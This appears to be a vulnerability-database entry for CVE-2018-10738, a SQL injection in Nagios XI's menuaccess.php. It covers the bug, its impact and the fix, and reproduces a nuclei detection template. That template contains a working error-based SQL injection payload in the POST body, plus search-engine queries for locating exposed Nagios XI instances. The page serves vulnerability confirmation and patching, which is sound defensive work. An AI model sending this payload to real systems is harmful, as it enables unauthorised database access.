HexBrain

Browse / CVEs / CVE-2018-10738

CVE-2018-10738· nagios / nagios xi· CWE-89

NagiosXI <= 5.4.12 menuaccess.php - SQL injection

highseverity
7.2CVSS score
41.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.

Impact

Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.

Fix

Upgrade to Nagios XI version 5.4.13 or later.

How to confirm it

Send: POST {{BaseURL}}/nagiosql/admin/menuaccess.php
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2018-10738 -u <target>

The full check
id: CVE-2018-10738

info:
  name: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
  author: DhiyaneshDk
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.
  impact: |
    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
  remediation: |
    Upgrade to Nagios XI version 5.4.13 or later.
  reference:
    - https://qkl.seebug.org/vuldb/ssvid-97268
    - https://vuldb.com/de/?id.117807
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10738
    cwe-id: CWE-89
    epss-score: 0.41436
    epss-percentile: 0.98688
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli,vuln
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/nagiosql/admin/menuaccess.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from